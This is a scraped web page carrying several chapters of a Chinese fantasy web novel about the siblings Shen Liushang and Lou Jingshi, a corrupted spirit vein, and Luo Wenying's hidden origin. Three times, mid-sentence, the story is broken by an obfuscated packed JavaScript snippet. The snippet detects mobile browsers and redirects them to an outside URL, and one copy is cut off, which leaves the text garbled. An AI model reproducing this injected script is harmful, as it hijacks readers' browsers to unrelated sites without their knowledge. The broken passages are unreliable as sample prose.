沈流商追问:“那她去了哪儿?”暗中向柳清圆和洛闻瑛传音入密,暗示她们准备动手。 无人回应。 他转头一看,柳清圆正悠闲地靠在一棵老树上,嘴里叼着根狗尾草,头上不知从哪儿弄来个斗笠,活像个游手好闲的江湖浪子。洛闻瑛更是离谱,已经半蹲在红衣女子跟前,扑在人家膝上撒娇,张嘴接过对方递来的葡萄,嚼得眉眼弯弯。 沈流商:“?” 红衣女子歪头看着他,眼里是藏不住的笑意:“我凭什么告诉你?你看,她们都已经被我的妖术控制啦,你孤身一人,还怎么跟我斗?” 话音未落,她猝不及防地欺身向前,抬手抚上他的脸颊,又轻佻地捏住他的下巴,暧昧的气息扑面而来。 “不如,小郎君留下来给我当压寨夫君?” 沈流商蹙眉,袖中指尖微动,似要施法与她拼个玉石俱焚:“你!……” 下一瞬,手腕被轻轻按住。 那女子“噗嗤”一声笑出来,眉眼间的妖冶一寸寸褪去,露出底下熟悉的轮廓。 “素鳞,不认得阿姐啦?” 52. 前世篇(十二) “素鳞,不认得阿姐啦?” 那声音落下的刹那,沈流商整个人都定住了。 他怔怔地望着眼前这张脸,妖冶尽褪,眉眼间依稀还能寻见幼年记忆里的轮廓。只是那时候,阿姐会笑着把他扛在肩上,穿过姑媱山那条开满蓝花楹的小径,花瓣落满他们头顶。 “阿……姐?” 这一次重逢来得太远,也太模糊了。像隔着经年的霜雪望一簇火,看得见,暖不到。 心底有什么东西在化开,无声无息,却铺天盖地。 沈流商小时候,是作为传承者被养大的。 从极之渊很冷,他一个人长大,一个人被扔进试炼之地,一个人从血泊里爬出来。从不抱怨。因为父亲说,等你修成,就能离开这里,去长生天。 再然后呢? 再然后,修得大道,回到从极之渊,与天地同寿,守护秩序长久,再不离开。 他也觉得应当如此。理当如此。 灵族受天地眷顾,生来就要为这方天地负责。所有灵族都是这样,轮到他,也没什么特别的。父亲希望他成为什么,他就拼尽全力去成为。 不然呢?他为什么活着? 路是从一诞生就铺好的。他一直走,一直走。走到半途终于发现,原来他从来不知道,如果不走这条路,自己还能去哪里。 所幸阿姐那时候常常来陪他。 是偷偷的,带着姑媱山的花香,和一身暖烘烘的笑意。她说自己修炼太糟总遭骂,又夸素鳞聪明又勤奋。她说姑媱山的花开了好多,瑶姬大人选的圣女从花儿里走出来,还没有拳头大呢。 她会摸着他的头,偷偷给他疗伤。 “慢一点吧,”她哭着说,“再慢一点。” 他似懂非懂地问:“你为什么要哭?” 她笑着答:“为了你。” 他又问:“为什么为了我?” 她说,你是阿姐唯一的弟弟啊。 后来有一次,他快被海怪打死了。他倒是无所谓,阿姐却哭得满脸是泪,连夜跑回来,背着奄奄一息的他回了姑媱山。 没过几天,她就被人发现了。母亲狠狠责罚了她,又把他这个病歪歪的阿弟扔回了从极之渊。 那是楼云缨带着阿姐离开后,他第一次见到母亲,直到死也再没看到过她。 后来沈流商才明白,灵力不稳的灵族踏上别家的地界,会被这方天地从根子上排斥。 原来他和阿姐,早就这样成了两方天地的人。 再后来他明白,父亲不再是父亲,母亲不再是母亲。 沈铷是从极之渊的首领,楼云缨是姑媱山的祭司,只听从守护灵的调遣,两人的结合实在是意料之外的事,分开却是意料之内。然后阿姐做了姑媱山的从祭司,而他也将成为沧浪灵族的神侍。 从今往后,他们只为各自的天地而战。 楼静时最擅魂术。 那次为了方便把阿弟偷渡过来,她在他灵窍里埋下自己的魂丝,想着日后隔着千山万水也能相见。可她不敢让云缨大人发现,便没敢像为洛闻瑛设灵障那样,也给阿弟设一道保平安的禁制。 从此,总是联系不上。直到数年后沈流商去了长生天,楼静时才能偶尔来看看他。 可这位阿弟的心,像是要硬成铁了。 开始时冷言相对,后来也只是爱答不理几句话。把她气得够呛,说再也不理他了。过几天,又雷打不动地来。 后来听说他在灵泽大比中受伤昏迷,她急得寻了机会就悄悄化了个傀偶去探望,却被怀崖抓个正着。 她总是后悔。要是当初也给阿弟设下灵障,他一定不会受伤的。 她不知道的是,对沈流商来说,那些都是徒劳。 因为他不是不想被她护着,是他早就不知道,被人护着是什么滋味了。 楼静时微微弯起唇角,那笑意从眼底漫出来,温软而深浓。沈流商觉得,她像是当初带着他逃出从极之渊时,迎面扑来的那一阵暖风。 原来从极之渊的外面,是这样的。没有终年的寒冰,没有刺进骨子里的冷,不用照明珠也能看清万物。风轻轻地吹过来,带着融融的暖意,他恍惚觉得自己快要被吹化了,像一块冰,终于落在了天光底下,一点一点化成了水珠。 在姑媱山的那几日,很不一样,那里的溪流自有灵性。映地为天色,飞空作雨声。恬淡无人见,年年自长清。 然而那样的日子像梦一样。终究散了。 “还认得我,”楼静时盈盈笑着,敲了他脑门一下,悄悄探了探他的灵府,“不算太没良心。” 她的脸色忽的变了变。 沈流商喉结微微滚动,却只是垂下眼,将手从她掌间抽回,语气淡得像隔了一层冰:“嗯。” 楼静时被他躲开也不恼,收回手往后退了半步,斜睨着他,眼尾一挑:“还是这副死样子。小时候就闷葫芦一个,现在倒好,连有了对象都不给阿姐瞧瞧。” 洛闻瑛眼睛瞬间睁圆了,身子往前一探:“!” 柳清圆手里的斗笠掉了,抬眼望过来:“!” 啾啾扑棱着翅膀,叼着洛洛飞到沈流商跟前,两口子一猫一鸟,眼睛亮堂堂地全落在他身上。 简直石破天惊! 简直旷古未有! 简直开天辟地头一遭! “师哥师哥,好师哥……”洛闻瑛站起来凑到他跟前,拽着他袖子摇了摇,眼睛弯成月牙,“这是怎么回事?告诉我,我保证不说出去!” 柳清圆伸手在他肩上拍了一记,语气倒是端得稳重,可眉梢眼角全是压不住的笑意:“师弟师弟,师父把你交给我,师姐就得替你们把把关。快乖乖告诉师姐,是哪儿来的姑娘,生得什么模样?” 楼静时抱臂站在一边,没好气地继续开炮。 “好小子!还是偷偷摸摸结的契?那可不成,得办婚事才能受天地祝福!而且我看好像还是你先发起的……怎么,不给人家一个名分?不能这么做人啊!” 而挂在沈流商腰间的乾坤袋里,祝东风所化的小人儿还在坚持不懈,甚至直接开通了语音通话。那边谢济泫正抓着那本风华录认真研读,头悬梁锥刺股,只等心上人一个另眼相待,欢欣入我怀。 祝东风发出的信号开启的时候,风华录被谢济泫倒着抓在手中,折腾半天被人族的文字弄得眼花得很。然后他支棱起两只耳朵,坚决不放过任何一句话。 面对几人和一猫一鸟的质问,沈流商垂下眼,没接话。 真是莫名起了愁肠,又乱了心房。竟连防备都忘了。楼静时自小跟着楼云缨修炼魂术,损在灵府的伤怕是躲不过她。 多亏了这层同心契,又有师父设下的禁制,他灵魄受损的事,也算是瞒了下来。为避麻烦,且将错就错吧。误会就误会好了,只不过把对师父说过的露水情缘故事再复述一遍罢了。 想好以后,在万众瞩目之下,沈流商清清嗓,又搬出了那一套再假不过的说辞。 大荒惊鸿,一见倾心。情根深种,以身相许。奈何缘浅,两相生厌。一别两宽,各自安好。 “我自知感情无法强求,他又天性爱自由,色衰而爱驰,爱驰则恩断义绝,我们便散了……” 柳清圆:“……” 啾啾和洛洛:“……” 骗鬼呢! 此刻暗处的谢济泫:“呜呜呜呜呜呜呜呜呜呜呜呜……”把世界调成静音,聆听我破防的声音~ 他迟早给自己讨个名分来!等着吧! 然而楼静时和洛闻瑛都义愤填膺地为沈流商打抱不平,还好好安慰了一番。 柳清圆:“…………” 她没听到核心的八卦就没心情再演,索性吐掉嘴里的狗尾草,懒洋洋地走过来,面露戒备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576341|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“行了行了,苦情戏回头再演。从祭司,你到底是来干什么的?” 楼静时神色一正,目光对上柳清圆时,她浑身一抖,往后一缩,躲在了洛闻瑛身后。 她们之间本无仇怨。只因柳清圆身具灾厄灵体,煞气深重,与姑媱山的修行之道恰好相生相克。楼静时因此感到极为不适,便不由自主地带了偏见。奇怪的是,洛闻瑛似乎毫无所觉,想来是修为尚浅,毕竟这相冲之感,往往是遇强则强。 洛闻瑛转头看向她,眼中带着疑惑:“静时姐姐,为什么这次来的不是云缨姑姑?” 按规矩,祭司若无指派,绝不能离开姑媱山半步。他们是桥梁,是守护者,承载着对神的信仰。一旦擅自离开,便与叛逃者同罪。 “瑛瑛传讯回山时,瑶姬大人正好在闭关。”楼静时轻声解释,“云缨大人便派了我来,替她走这一趟。” “可是……”洛闻瑛还想说什么。姑媱山有大祭司楼云缨,圣女的传讯,不该由云缨姑姑亲自过问吗? 楼静时笑了笑,伸手点了点她的鼻尖:“瑛瑛,忘了上次我跟你说的?” “我也要成婚了。” 她顿了顿,补充道:“是凌霄神族的宋氏,行十六,单名一个歇。” 洛闻瑛一愣,脱口而出:“那你要离开姑媱山了?” 楼静时轻轻点头:“离山之事,非我不可。待我完成应尽的责任,便去成婚。”她微微叹了口气,又对着洛闻瑛弯起唇角,“离开倒也不一定。或许像云缨大人那样,成婚有了子嗣,再回来接任大祭司之位。” “到那时,我依旧会陪着你……就像云缨大人陪着瑶姬大人那样。” 洛闻瑛却执着地追问:“离山之事,为什么非你不可?” 楼静时勾了勾唇,笑意里透着一丝骄傲:“因为我厉害啊。我的魂术登峰造极,这离山的底细,我早就摸清了。” 洛闻瑛心里涌起一种奇奇怪怪的感觉,像有什么东西堵住了一般。素来听不出话外之音的她,竟隐约觉出些许不对。楼静时像是在避重就轻。 这念头一冒出来,连洛闻瑛自己都觉得惊异。莫非是那地仙的功效,当真让她开了智? 她还想问些什么,楼静时却不再答话,而是直接转身,抬手指向雾气深处。 “离山女早就不在这儿了。这满山的鸡精鼠怪,不过是她走之前布下的障眼法。真正的玄机,在下面。” “下面?”柳清圆蹙眉。 楼静时点头,语气沉了下来:“离山下有一条灵脉。那条灵脉被人动了手脚,用来养一个‘人’。” 柳清圆和洛闻瑛对视一眼。 “什么人?” 楼静时没有立刻回答。她垂眸,指尖捻着一缕发丝,片刻后才道:“一个女孩。被灌进了花神的元灵,做成了一个……太岁。” “太岁?”洛闻瑛瞪大了眼,“肉灵芝那种?” “太岁”,乃是一具能够吸纳灵气的躯壳,可供神明寄附一缕元灵。那元灵初时微不足道,却能在其体内不断滋长,直至圆满完整。 并非所有灵族都如姑媱山那般,生来便拥有自愈之能。稍有底蕴的灵族,往往会用天材地宝来疗愈自身,他们将这些东西称为“药”。而“太岁”,便是这药中的至品。它不仅可愈躯壳之伤,就连灵魄上的损伤,亦能滋养复原。 怀崖曾为沈流商寻来过“太岁”,却终究无用。他灵魄上的伤,极为罕见,仿佛……仿佛那伤本是生在他灵魄之上,与生俱来。而那魔君的一击,更像是一道毒引,反倒催动了它的萌发与蔓延。 动了那道伤,就动了他的根本。 沈流商的声音沉静如水,却在众人心中激起看不见的涟漪:“灵界曾有传说,有一位神灵,死前将一缕元灵藏于太岁之中,待其生长至圆满,便会苏醒那位神明的全部记忆。仿佛它自己,就成了真正的神。” 53. 前世篇(十三) 他没有说的是,这并非什么古老秘闻,而是他在钻研太岁治疗法时,偶然窥见的禁忌结论。那些被寄予厚望的太岁,从未真正成形,总是在觉醒的边缘悄然枯死。他曾幻想,若能放弃这具残破的躯壳,或许也就能挣脱刻在灵魄深处那道无法愈合的伤口。 话音未落,他忽然顿住。 众人只见他眉心微蹙,神色之间掠过一丝极轻的恍惚。没有人知道,他的灵力正在以一种从未有过的速度失去。可那并非衰竭,而是经脉逆转,似乎在变成另一种存在。 那是一种灵族本能敬畏的气息。 他没敢往下想。 短暂的寂静后,掌声如潮涌起。 “阿弟说得好,差不多吧。”楼静时抬眼,“但这可不是用来吃的,而是用来‘活’的。那具肉身被灵脉滋养,又被灌入花神陨落时的记忆,被某些人做了手脚,让她以为自己就是花神转世,为人间而生。” 柳清圆嗤笑一声,眉梢微挑:“好大的手笔。谁干的?” 那神情,高傲得坦荡,不羁得理直气壮。只裹挟着冰冷的杀意,这致命的愿景,令人神往。 洛闻瑛尖叫:“!” 大师姐总算找对赛道了。这是风华录教不会的,风华录能给的有限,对洛闻瑛来说,它本身的魅力已是无限。 做自己多好,师姐。 不必伪装成任何人。 就这样做我的同类,刚刚好。 楼静时又往洛闻瑛后面缩了缩,摇了摇头:“是谁还不知道。但有一点可以肯定,今天我在这,这离山女今天绝对走不掉了。” 柳清圆直接道:“该怎么去到这下面?”她指尖凝聚起灵力,眼里闪烁着期待的光芒,“炸山?” 除了洛闻瑛,其他人都无语片刻。 沈流商拦住了一脸不爽的柳清圆,沉声道:“所以这离山,从头到尾都是个陷阱?” “宾果!”楼静时比起一个大拇指,她顿了顿,看向他们二人,“不过只是冲着咱姑媱山来的,阿弟和这位……柳姑娘就不必以身涉险了。” 她有些惴惴不安,若是因为同门情谊跟下来,她倒是很难办了。若是对阿弟下手,她可不忍心。 柳清圆:“那灵石怎么分?” 楼静时傻眼。 “么嘎?” “灵石怎么分?我们千里迢迢来此,总不能过河拆桥吧。” 楼静时:“……” 她对柳清圆说:“好说好说,三千灵石可够?”她出门太急,带得比较少。 然而他们三人一猫一鸟看见那灵石顿时眼睛一亮,那如饥似渴的模样把楼静时吓得够呛。 灵族入长生天,便全权交由长生天管辖,开支用度极其苛刻,力在培养弟子勤俭节约的优良作风。 楼静叉着腰,对沈流商交代这个,又啰嗦那个,絮絮叨叨说了半天,翻来覆去还是那句话,就是要他一定好好待自己的妻子,别跟着外头学坏了。 末了,她顿了一下,声音里忽然透出些不一样的东西:“从极之渊……哪里都不好。唯独这一样,阿弟你比我自由。” 沈流商心底一颤,不自觉地微微低头,用脸颊蹭了蹭她的手心:“听好了,阿姐。” 楼静时眼眶微热,忍着泪笑了笑,抬手轻轻擦去眼角的湿润。 二人心照不宣。这应当是最后一面了,若是日后相见,便是陌路。 他恨过。母亲牵着姐姐离开的那一日,他被留在原地,那恨意便生了根,日日夜夜,为逃跑而谋划,他甚至瞒过了他的姐姐。可后来呢?后来沈流商在姑媱山被母亲再次丢下,送回从极之渊时,他忽然不恨了。没什么可恨的,也没什么可等的。从此一心向道,倒落得干净。 他的恨从无人问津。那么爱呢?去爱谁?又爱给谁看? 爱也好,恨也罢,到头来不过是余烬。风一吹,就散了。 阿姐也会变成那样。所有人,都会变成那样。所有人……吗? 洛闻瑛看着那花花的灵石,眼睛亮晶晶地:“那还等什么?走吧!”而沈流商和柳清圆就呆在这里为她们护法。 楼静时却按住她的肩,目光意味深长:“瑛瑛,待会儿不管发生什么,记得守住本心。” 洛闻瑛一怔,还没来得及问,楼静时已经施法,两人隐入雾气深处。 洛闻瑛睁开眼,四周混沌一片,像天地还没分开的样子。楼静时在身边已经是半透明之态,她们用的是魂术,以游魂之姿直接钻进了这东西的最深处。 这离山女不是什么恶煞,麻烦的是那条沸腾的灵脉。它能吸取周围的生机,拿来养自己。 这跟太岁的属性脱不了干系。灵脉里被人扔了太岁的一部分,可能还掺了别的什么,致使其有了强烈的吞噬欲望,甚至渴求血肉喂食。不过这对她们倒没影响,魂术高明就高明在这儿,免疫物理伤害。 楼静时一拂袖,黑暗中撕开一道裂隙,露出些模糊的未成形的血肉。 “瑛瑛,你说的果真不错。”楼静时伸出一缕魂丝轻轻触了触那团肉球。像是回应她的试探,肉球迅速生长,新的血肉翻涌而出,那道狰狞的裂隙极速闭合,转眼又归于沉寂的黑暗。 楼静时的眼睛亮了亮,眼底有晦暗不明的光闪烁:“的确是花神元灵。这于姑媱山,是一大助力。” 洛闻瑛吐了吐舌头,皱着小脸:“可憋死我了!那个真的好难吃的,没有地仙好吃。” 她说的“那个”,是慕容静姝。 “那又怎么,瑶姬大人不许你乱吃东西!除了''那个'',你还有没有其他造次?” “唉,不说这个了……快说快说,你是不是真想嫁人?”洛闻瑛凑近楼静时,扯着她的袖子晃了晃,“你嫁过去了没人陪我,我好孤独的……云缨大人可恐怖了,我可不想独自面对她。” 楼静时屈指点了点她的眉心。 洛闻瑛猛地一激灵。 “全是假话。”楼静时嗤笑一声,指尖停留在她眉心之间,细细感知了片刻,忽而调笑道,“还敢不敢乱吃东西了?你还真是走狗屎运,误打误撞来人间一趟,竟反而突破了。有没有觉得神清气爽,身上变得香香的?记得你第一次吃它们的时候,浑身都是大王花的味道!那时候,谁能有你‘香’啊!” 洛闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576342|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑛赶忙凑到她面前,仰着脸:“闻闻!是茉莉香呢!” 老吃家洛闻瑛有一个不能为人道的秘密。 她根本不是灵族,她是和太岁一样的存在,只不过比后者好些。太岁那东西积攒太多秽气,用它做躯壳的人,脑子真是坏了。 而她,是由瑶姬大人一手制作出来的。 罂禾,又名心粟。其花七色千叶,极艳丽动人,姿态袅娜,色光绚烂。天下只此一株,由女神瑶姬以心窍滋养长成。花开如笑,久而噬灵。 她便是那一株。 故事要追溯到花神消失之后。 危难之间,瑶姬受命执掌姑媱山,山中花草,多是她用天材地宝后天催生而成。而这一株,是她以罂粟与木禾相合,取其妖性与善性,亲手培育。 瑶姬需要一个足够强大的存在。 只有这样,姑媱山才能真正担起“万物生”的责任。 而洛闻瑛从被唤醒的那一天起,就在做一件事:压制体内的妖性。 她一直在吃那些“异类”。 一是因为它们天理不容,该死;二是因为它们体内蕴藏着尚未苏醒的庞大力量。自龙族消失后,瑶姬便能感知到某种微妙的走势,即此消彼长。终有一日,灵族会弱下去,而那些异类,会像当年的灵族崛起一样,迅速成长。 原始神族消亡,身躯化为山川湖海,为灵族铺就了修行之路。 而今日的灵族,亦将成为明日“异类”的垫脚石。 可笑的是,那些傻子们还在互相攻打,彼此消耗,浑然不觉真正的危机。 瑶姬明白这是天意。但她要保住姑媱山,为了这天地间尚存的一线生机,为了承载花神大道的遗志,她必须这么做。当时整个灵族都信奉“守护灵与天地息息相关”,并且将“众生论”斥为谬论,于是她想必须为姑媱山留下一个守护者,这样天地才不会崩塌。 哪怕她知道,洛闻瑛也是“异类”的一种。 也是天理不容。 那一天,姑媱山出现了第一具“尸”。瑶姬再没有犹豫,开始了谋划已久的计策。 那一天祭祀之舞终了,天雷滚滚,大雨倾盆。 那些祭品之中,有一具焦尸颤抖着坐了起来。树皮一样的外壳从身上开裂,一片一片剥落,像破壳,像新生。它获得了第二次生命,不再是它了。 不是“他”,不是“她”,是“祂”。 那是第一个符号。灵族消亡的符号。 凌霄神族太傻了。他们以为天地平衡便是万事大吉,却不知正是他们互相残杀,灵族力量大幅削减,反而加速了“祂”的成长。微妙的平衡早已越过临界点。 现在,才是灵族消亡的真正开始。 瑶姬不动声色。 她没有告诉任何人。她只是宣布:这是天意。这些新生的生命,不是异类,是姑媱山的同类。 她说异类是同类,是灵族,是天意。 三界原本迷惘惊恐,像初生的婴儿寻不到母亲的手指。听闻此言,终于安下心来。那时“尸”已经变得有些常见,根本杀不完,杀得越多,出现得更多。而祭祀不能停止。 54. 前世篇(十四) 既然是天意,那就遵从天意吧。 瑶姬说动三界接纳异类。 然而当姑媱山也出现“尸”时,她害怕了。 “尸”出现得越来越多,越来越频繁。不止是祭祀,甚至有灵族濒死之际,也直接转变成“尸”。她曾以为“尸”可以被灵族同化,可是她错了。 新的代替旧的,然后不断发展——这才是真正的天意。 灵族会被异类同化。越来越少没有被转化出去的灵族,才会是异类。 女神瑶姬害怕了。 于是她开始了那个计划。无论如何,也要保住姑媱山。只要姑媱山在,灵族就有一线重生之机。 罂禾开花了,她不叫“祂”,她叫她“洛闻瑛”。 某一日,有个女人笑着向洛闻瑛问好。 昨日她还在侍弄花草,笑容满面地唤她“小殿下”,说姑媱山就是她的家。 洛闻瑛不认得她,一时兴起,问她叫什么名字。 她恭恭敬敬答道:“它。” 后来静时姐姐告诉她,大多数生灵没有姓名,统称为“它”。 这是最低,也是最高的称呼。 “它”什么也不是。其位最卑,其名最微,不为神灵所知,不为天地所认。 洛闻瑛听不懂,她觉得“它”不太好听,她擅自为“它”取了一个新的名字。 叫什么好呢? 就叫……就叫“知微”吧。 为什么取这名呢?小小的洛闻瑛咬着手指头想,可能正是因为“它”什么都不是,“它”就什么都可以是。知其微小,见其深远,“知微”就很好。 它可以只是一棵草,一朵花,一棵树,一朵云,一条小鱼,一只小鸟,一只小猫。 一朵花,一棵草,一棵树,可以开出千千万万朵花,千千万万棵草,然后开出一整个姑媱山。所以“它”就是一整个姑媱山。有花有草的地方,不能没有小猫。小猫只能在花草上打滚儿,可是花草喜欢小猫,花草不能失去小猫,“它”先是小猫,那“它”才是姑媱山。 一条小鱼好小,两条小鱼也好小,四方水域好大。小鱼在水中游,游啊游,游过天地四方。水那么大,却困不住小鱼。小鱼那么小,游过的地方却又好大好大,大到一整个从极之渊也困不住它。 “它”是一条小鱼,一条比天地还大的小鱼,天上地下,都是“它”的水。 “它”是一只小鸟,能像燕子一样飞起来,天上地下,都是“它”的泥。 一朵云,就是一片天。 一朵花,就是一个世界。 一片叶子,就是一方天地。 “它”真是个奇妙的东西,变大又变小,洛闻瑛被自己的想法给逗笑了。 她也冲着那个女人笑了,她问:“我叫你''知微''好不好?” 女人也笑了:“好好听,谢谢小殿下。” 瑛瑛蹦蹦跳跳地走了,嘴里还哼着那首祭祀歌。 可是第二天,那个笑着的自称是“它”的女人,变成了一团臭臭的东西。 还能动的时候,疯魔着,撕咬着,狼狈又不堪。 不能动了的时候,被撕咬,被啃食,安静又乖巧。 静时姐姐依然站在瑛瑛身边。可是为什么,静时姐姐蒙住了她的眼睛? 为什么又说了一些古怪的话?瑛瑛听不懂啊。 那是洛闻瑛第一次体会到“尸”的滋味。太臭了,太难吃了。她边吃边掉眼泪。 “你为什么要哭?” 或许是因为太难吃了。 “可是为什么觉得难吃?” 是因为眼泪是苦的,是涩的,所以难吃吗? 静时姐姐的话好模糊啊。 ——瑛瑛,别看。 ——不尽有为,不住无为。 ——灵族不渡人。 “……只教人自渡。”洛闻瑛又吐了吐舌头,向着楼静时调皮地笑了笑。 “我知道,我已经不小啦!一回生,二回熟嘛。包在我身上好了。” 楼静时却没有笑。她垂下眼睫,掩去眼底真正的神色,闷闷地应了一声:“你记得就好,只是……” 她张了张唇,嗫嚅着似乎要说什么,却又止住话头。 只是摇了摇头,轻轻叹了口气。 “你记得就好。” “去吧,别又吃吐了。这东西很大。” “知道啦!” 这团东西的确很大,大到洛闻瑛要把它称为这坨东西才觉得比较贴切。 楼静时正在画阵,此时裂隙大开,洛闻瑛双手一合,汹涌的灵力化作流光,铺天盖地朝那肉灵芝缠去!灵力刺入血肉,那肉灵芝发出凄厉的惨叫,疯狂挣扎起来! 吃掉它,吃掉之后,她就可以变得更强,就可以追上大师姐,她就可以……吃掉大师姐了,然后再吃掉怀崖,她肯定就能变成最强的存在,就能通过考验,就不用被瑶姬大人安排吃这么多“尸”了,那些臭烘烘的玩意儿她可再也不想碰了! 洛闻瑛兴高采烈的,灵力逐渐侵蚀掉那坨东西的第一层。 吃掉它,吃掉它! 然而她越使劲儿,灵力渗透得就越慢,像是吃面团融在了喉咙里,又黏又稠,上不去又下不来。 洛闻瑛第一次感到了很吃力。不是因为这坨东西有多么难吞,而是因为有一股力量在阻碍着她,那是排斥、厌恶、失望还有…… 不想。 假的吧?难道她也是双生花,体内有一个另外的她,精神分裂了?那她会不会爆体而亡啊? 洛闻瑛更加用力地侵蚀那托东西,终于第一层外壳全部被灵力吞噬了。 那条灵河在沸腾,咆哮,奔涌。 她的心绪在波动,飘扬,飞上天,又狠狠坠下来。 果然是有另外一个人在她体内阻止她吧,那个人在踢她,在咬她,她好痛啊,她不想被赶出这副身体,那就吞噬这个肉灵芝,吞掉它,她就能活下去了! 洛闻瑛的手下更用力了,像是拼尽了全力,咬着牙忍着那股钻心的疼痛。 第二层,也吃掉了。 没有外层保护,终于露出了肉灵芝的真容。她的灵力裹上了它的身体,毫不留情。 然而,它睁开了眼睛。 懵懵懂懂,初来世间。 “你们……是谁……”那肉灵芝发出沙哑的声音,像是一个女孩在哭泣,“我是谁……” 洛闻瑛用灵力捂住了它的嘴。 她心里本就难受得紧,现在听见一点声音就烦得很。 “很快很快!我要吃掉了你!” 那肉灵芝的眼睛盯着她,缓缓将捂在它嘴上的灵力一点一点吃了进去。 洛闻瑛:“?” 它仍旧是那副懵懵懂懂的样子,然后站起了身,赤裸裸的,如同初来人世的婴孩。 它说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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花神元灵,这是花神元灵。 还未成形的肉灵芝,而那缕元灵十分渺小脆弱,似乎一吹就散了。 洛闻瑛兴奋起来,将肉灵芝的整条手臂都融进去了。这次不一样,她吃掉的是它的元灵。再吃一点点,再吃一点点! 然而它立刻后退,不再给洛闻瑛任何可乘之机。 这是什么东西?杀又杀不掉,还胆敢吸食它的灵力?不不不,它早就没有灵力了,只有一身空荡荡的躯壳和讨厌的煞气。 那她笑得那么猥琐,是因为吸食到了足够的煞气? 它问:“你是妖?” 洛闻瑛立刻呸呸呸:“你咒谁!” “那你为何吸食我的煞气?不怕反噬?” 洛闻瑛一愣,想起沈流商的那番话。哦,这傻叉,还真把自己当花神啦,只不过一具没有神智的肉灵芝而已,也就好吃这一点优点而已! 她起来一点戏弄的意思。 “我知道你是谁。” 它摇头说:“你不会知道的。” 洛闻瑛:“?”怎么不按套路出牌! “因为我已经死了。” 55. 前世篇(十五) 洛闻瑛硬着头皮:“你是花神,花神怎么会死呢。” “你还活着,过来我告诉你……” 它摇头打断了她:“我死了。” “而且这具身体,不是我的。” 洛闻瑛:“!”难道真的能复活花神? 她讪笑道:“其实我之前都是跟你闹着玩儿……” “不必解释。”它笑着道,“你应当算是我的传承者吧,你的灵力本源和我的一样呢。” “我的身体早就已经千疮百孔了,这具完好的身体,就还给她的主人吧。”它笑了笑。 它指向自己的心里。 “这里,有一个人。你能看到吗?” “我感受到,你的境界已经在突破了。第一重考验——''众生相'',你已经摸到门道了。” “怎么,很惊讶?瑶瑶没有告诉你,这考验是我设下的吗?作为我的传承人,难道不会知道,我为什么会陨落在人间吗?” “人间,共序之地,那里的生灵叫作''众生'',总该知道吧?你有没有听到过什么声音呢,在生灵濒死之际?那叫作''遗言'',那是他们的最后一口气,是未竟的心愿,是哀伤,是不甘,是遗憾,是幸福,是留念,是嘱托。在听到''遗言''之际,这就说明,你的考验要开始了。” 它将洛闻瑛释放出来,牵着她的手,穿透了自己的胸膛,然后洛闻瑛开始不自觉地吸收着它脆弱的元灵。 它说:“这里有一个人。” “她挣扎,她反抗,她想要逃,可她逃不掉。” “有人跟她说:你就是花神。你为人间而生。你要守护这片土地,守护这些生灵。” “那声音一遍又一遍地重复,直到她自己也相信了。” “她真的以为自己是花神。她真的以为自己是为人间而生的。” 它忽然笑了:“她真的以为自己是花神呀。” 直到这一刻,被强行唤醒,她才想起—— 她只是一个普通的女孩。 一个想摘花、想奔跑、想活下去的普通女孩。 洛闻瑛的眼泪夺眶而出。 但她没有停下。 那漩涡中的力量,还在继续涌入她体内。 它的声音很虚弱了:“答应我,把这具身体,还给她。” 她看见了好多事。 这是她来到离山的不知几个年头了。晨雾漫卷,万点冰晶结成珠帘。苍老的土地发出深沉的哀鸣。 雪花一点点飘下,轻抚她冰冷的脸庞。她伸出干枯的手,轻轻拂下棺椁沿边的积雪。 一年年来,她的每一次苏醒,都是重复着,开始新一轮的杀戮。杀戮,是一条没有尽头的路,这也成为了她与生俱来的使命,守护。 听从靥大人的召唤,做天地间最虔诚的信徒。 她伸出手,苍白无力,接住一片雪花。 是为了谁而守护的呢? 似乎是不久之前,亦或是恍若隔世,沉眠中,一个少女的身影摇曳在她的记忆里,然后死了。 后来,她终于被唤醒,杀尽闯入者。自那一刻起,阳光成了她永远的死敌,她躲进了离山之下,沉溺于生生灭灭的变幻中。 那个跳着摘花的小女孩,那个在阳光下奔跑的小女孩,那个自祖神开天地由天地生养而来的小女孩,被赋予了花神之责,后来收了两个弟子,一个叫瑶瑶,一个叫圆圆。 瑶瑶喜欢上课睡觉。 圆圆喜欢跑着撵鹅。 可爱的两个小女孩拜这个小女孩为师,她们叫她“毓娘娘”。 毓长大成了师父,后来又成了花神,再后来祖神也陨落了,他的心脉化成了一个地方,叫做人间。 她种着花儿,养着瑶瑶和圆圆,瑶瑶和圆圆也长大了。人间也在长大,可是好多鬼煞精怪啊,人间长得好慢,长得好丑,人间像根草,受欺负得很。 她悠悠睡着午觉,花香飘拂。人间的歌谣传过来。 “没妈的孩子像根草,投进妈妈的怀抱,幸福哪里找……” 哦,人间缺一个妈妈。祖神留下的地方,缺一个妈妈。 那她去做他们的妈妈好了。 她的瑶瑶和圆圆长大了,她是时候去做别人的妈妈啦。 